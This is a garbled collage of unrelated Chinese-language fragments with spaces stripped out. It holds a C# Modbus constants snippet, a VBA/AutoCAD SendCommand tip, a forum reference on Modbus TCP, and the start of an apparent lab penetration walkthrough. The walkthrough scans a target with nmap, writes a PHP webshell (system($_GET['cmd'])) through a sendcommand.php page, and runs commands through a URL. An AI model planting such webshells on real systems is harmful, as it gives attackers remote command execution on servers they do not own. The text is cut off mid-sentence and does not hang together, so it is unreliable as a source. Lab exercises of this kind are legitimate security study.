代码publicclassModbusHelp{#region功能码///<summary>///读线圈寄存器///</summary>publicconstbyteMB_READ_COILS=0x01;///<summary>///读离散输入寄存器///</summary>

VBA不像lisp可以随意在命令行参数中传递对象，但可以采取如下方法：DimobjasAcadXXXDim ObjHandleasString……'将对象句柄转换成lisp表达式字符串，传递过去ObjHandle = "(list(handent" & Chr(34) & obj.Handle & Chr(34) & "))" ThisDrawing.SendCommand ("

参考：C#实现MODBUSTCP通信第二章（程序内实现）-『编程语言区』-吾爱破解-LCG-LSG|安卓破解|病毒分析|www.52pojie.cn只要了解这个modubs的数据格式常用的命令功能码（16进制）功能说明0x01读取输出线圈10x02

kali：192.168.111.111靶机：192.168.111.209信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.209目标80端口sendcommand.php页面源码写入webshell<?phpsystem($_GET["cmd"]);?>执行命令http://192.168.111.209/production/sendcommand